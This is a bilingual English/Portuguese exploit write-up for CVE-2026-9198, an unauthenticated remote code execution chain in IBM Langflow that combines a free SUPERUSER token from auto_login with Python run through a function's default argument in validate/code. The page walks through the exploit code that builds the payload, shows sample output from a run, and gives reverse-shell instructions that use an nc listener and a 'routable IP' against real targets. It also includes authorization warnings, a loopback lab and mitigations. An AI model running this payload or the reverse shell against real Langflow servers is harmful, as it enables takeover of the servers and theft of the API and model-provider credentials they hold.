joaovicdev
exploitexploitCVE-2026-9198

CVE-2026-9198: Langflow unauthenticated RCE — auto_login → validate/codeCVE-2026-9198: RCE não autenticada no Langflow — auto_login → validate/code

A two-request pre-auth RCE chain in IBM Langflow OSS: auto_login hands a SUPERUSER token to any caller, and validate/code executes Python inside a function's default argument — with the output leaked back through the error response.Uma cadeia de RCE pré-autenticação em duas requisições no IBM Langflow OSS: o auto_login entrega um token SUPERUSER para qualquer um, e o validate/code executa Python dentro do valor padrão de um argumento — com a saída vazando de volta pela resposta de erro.

Proof of concept on GitHubProva de conceito no GitHub

Authorization: the lab in this repo is deliberately vulnerable and binds Langflow to 127.0.0.1 on purpose. Run it only on machines you own, and point the exploit only at targets you have explicit written permission to test. Anything else is likely a crime.

Summary

CVE-2026-9198 is an unauthenticated remote code execution bug in IBM Langflow OSS, the low-code builder for LLM pipelines. It is CVSS 9.8, CWE-94 (code injection), and it sits in the CISA KEV catalog — it is being exploited in the wild.

There is no memory corruption and no clever primitive here. Two ordinary HTTP requests are enough:

  1. GET /api/v1/auto_login gives anyone a SUPERUSER JWT.
  2. POST /api/v1/validate/code, authenticated with that JWT, runs attacker-supplied Python.

The interesting part is that step 2 was already patched once. CVE-2025-3248 put an authentication gate in front of validate/code in Langflow 1.3.0 — and step 1 walks straight through it.

ProductIBM Langflow OSS
Affected1.0.0 – 1.10.0
Fixed in1.10.1
CVSS 3.19.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — code injection
CISA KEVYes

Impact

PreconditionRequired?
Valid credentialsNo
User interactionNo
Network reachability to the Langflow HTTP portYes
LANGFLOW_AUTO_LOGIN enabledYes — and it is the default in typical deployments

The result is arbitrary command execution as the Langflow service user, which in practice owns the API keys, model provider credentials, and flow definitions of every pipeline on the instance.

How the chain works

Step 1 — a SUPERUSER token for free

Langflow ships with LANGFLOW_AUTO_LOGIN on. With that setting, the auto_login endpoint issues a long-lived SUPERUSER JWT to any caller, without asking for anything:

GET /api/v1/auto_login
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

Some builds only answer POST on that route, and some return the token as an access_token_lf cookie instead of in the body — the PoC handles all three.

Step 2 — code execution inside a default argument

validate/code is meant to lint a snippet before it is saved into a flow. To do that, validate_code() compiles every function definition it receives and execs it:

langflow — validate_code()
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)
        except Exception as e:
            errors["function"]["errors"].append(str(e))

Executing a def statement does not call the function — but it does evaluate its default argument values. So a function whose default is exec("...") runs attacker code the moment it is "validated", and the function body is never touched:

payload shape
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

And the except branch is the exfiltration channel: whatever exception the payload raises is serialized back to the client under function.errors. Raising the command's own stdout turns a blind primitive into a readable one.

Proof of concept

exploit.py drives the whole chain. The command is base64-wrapped before being embedded so quoting and shell metacharacters survive the trip:

exploit.py — build_cmd_payload()
def build_cmd_payload(cmd: str) -> str:
    cmd_b64 = base64.b64encode(cmd.encode()).decode()
    inner = (
        '_sp=__import__("subprocess");'
        '_p=_sp.run(__import__("base64").b64decode("%s").decode(),'
        "shell=True,stdout=_sp.PIPE,stderr=_sp.STDOUT);"
        'raise Exception(_p.stdout.decode() or "(command produced no output)")'
    ) % cmd_b64
    # `exec(inner)` is the default value of argument `a`; evaluating the def runs it.
    return "def _(a=exec(%r)):\n    pass" % inner

The reverse-shell payload uses the same trick, with a socket + /bin/sh stanza in place of the subprocess.run.

Run it

Prerequisites: Docker + Docker Compose, Python 3.8+, and requests.

1. Bring up the vulnerable lab — Langflow 1.10.0 plus Postgres, published only on loopback:

docker compose up -d
curl -fs http://127.0.0.1:9999/health && echo OK

First boot takes a minute or two.

2. Run a command:

pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

3. Or take a shell — listener first, then the payload. Against the local lab the container reaches the host at host.docker.internal; against a real target use your routable IP:

terminal 1
nc -lvnp 4444
terminal 2
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

Flags: --cmd, --reverse-shell, --lhost / --lport, --token (skip auto_login and use a bearer token you already have), --timeout, --insecure.

Tear down with docker compose down -v.

Mitigation

  • Upgrade to Langflow 1.10.1 or later.
  • Set LANGFLOW_AUTO_LOGIN=false on anything network-reachable, and configure real superuser credentials.
  • Do not expose Langflow to the internet. Put it behind authentication and network controls — the KEV listing means unpatched instances are being found.

References

Autorização: o lab deste repositório é propositalmente vulnerável e amarra o Langflow em 127.0.0.1 de propósito. Rode apenas em máquinas que você possui, e aponte o exploit apenas para alvos para os quais você tem permissão explícita por escrito. Qualquer outra coisa provavelmente é crime.

Resumo

A CVE-2026-9198 é uma execução remota de código não autenticada no IBM Langflow OSS, o construtor low-code de pipelines de LLM. É CVSS 9.8, CWE-94 (code injection), e está no catálogo CISA KEV — está sendo explorada ativamente.

Não há corrupção de memória nem primitiva engenhosa aqui. Duas requisições HTTP comuns bastam:

  1. GET /api/v1/auto_login dá a qualquer um um JWT de SUPERUSER.
  2. POST /api/v1/validate/code, autenticado com esse JWT, roda Python fornecido pelo atacante.

O detalhe interessante é que o passo 2 já tinha sido corrigido uma vez. A CVE-2025-3248 colocou uma barreira de autenticação na frente do validate/code no Langflow 1.3.0 — e o passo 1 passa direto por ela.

ProdutoIBM Langflow OSS
Afetadas1.0.0 – 1.10.0
Corrigido em1.10.1
CVSS 3.19.8 Crítica — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — code injection
CISA KEVSim

Impacto

Pré-condiçãoNecessária?
Credenciais válidasNão
Interação do usuárioNão
Alcance de rede até a porta HTTP do LangflowSim
LANGFLOW_AUTO_LOGIN habilitadoSim — e é o padrão em deploys típicos

O resultado é execução arbitrária de comandos como o usuário do serviço Langflow, que na prática detém as API keys, as credenciais dos provedores de modelo e as definições de fluxo de todos os pipelines da instância.

Como a cadeia funciona

Passo 1 — um token SUPERUSER de graça

O Langflow vem com LANGFLOW_AUTO_LOGIN ligado. Com essa configuração, o endpoint auto_login emite um JWT SUPERUSER de longa duração para qualquer chamador, sem pedir nada:

GET /api/v1/auto_login
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

Alguns builds respondem apenas a POST nessa rota, e alguns devolvem o token em um cookie access_token_lf em vez de no corpo — a PoC trata os três casos.

Passo 2 — execução de código dentro de um argumento padrão

O validate/code deveria apenas checar um trecho de código antes de ele ser salvo em um fluxo. Para isso, validate_code() compila cada definição de função que recebe e executa com exec:

langflow — validate_code()
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)
        except Exception as e:
            errors["function"]["errors"].append(str(e))

Executar uma instrução def não chama a função — mas avalia os valores padrão dos argumentos dela. Então uma função cujo padrão é exec("...") roda o código do atacante no instante em que é "validada", e o corpo da função nunca é tocado:

formato do payload
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<saída>)')):
    pass

E o ramo except é o canal de exfiltração: qualquer exceção que o payload lançar é serializada de volta ao cliente sob function.errors. Lançar o próprio stdout do comando transforma uma primitiva cega em uma primitiva legível.

Prova de conceito

O exploit.py conduz a cadeia inteira. O comando é embrulhado em base64 antes de ser embutido, para que aspas e metacaracteres de shell sobrevivam ao trajeto:

exploit.py — build_cmd_payload()
def build_cmd_payload(cmd: str) -> str:
    cmd_b64 = base64.b64encode(cmd.encode()).decode()
    inner = (
        '_sp=__import__("subprocess");'
        '_p=_sp.run(__import__("base64").b64decode("%s").decode(),'
        "shell=True,stdout=_sp.PIPE,stderr=_sp.STDOUT);"
        'raise Exception(_p.stdout.decode() or "(command produced no output)")'
    ) % cmd_b64
    # `exec(inner)` é o valor padrão do argumento `a`; avaliar o def o executa.
    return "def _(a=exec(%r)):\n    pass" % inner

O payload de reverse shell usa o mesmo truque, com um trecho de socket + /bin/sh no lugar do subprocess.run.

Rodando o lab

Pré-requisitos: Docker + Docker Compose, Python 3.8+ e requests.

1. Suba o lab vulnerável — Langflow 1.10.0 mais Postgres, publicado apenas em loopback:

docker compose up -d
curl -fs http://127.0.0.1:9999/health && echo OK

O primeiro boot leva um ou dois minutos.

2. Rode um comando:

pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

3. Ou pegue um shell — listener primeiro, depois o payload. Contra o lab local o contêiner alcança o host em host.docker.internal; contra um alvo real, use o seu IP roteável:

terminal 1
nc -lvnp 4444
terminal 2
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

Flags: --cmd, --reverse-shell, --lhost / --lport, --token (pula o auto_login e usa um bearer token que você já tem), --timeout, --insecure.

Derrube o ambiente com docker compose down -v.

Mitigação

  • Atualize para o Langflow 1.10.1 ou superior.
  • Defina LANGFLOW_AUTO_LOGIN=false em qualquer instância alcançável pela rede, e configure credenciais reais de superusuário.
  • Não exponha o Langflow na internet. Coloque-o atrás de autenticação e de controles de rede — estar no KEV significa que instâncias sem patch estão sendo encontradas.

Referências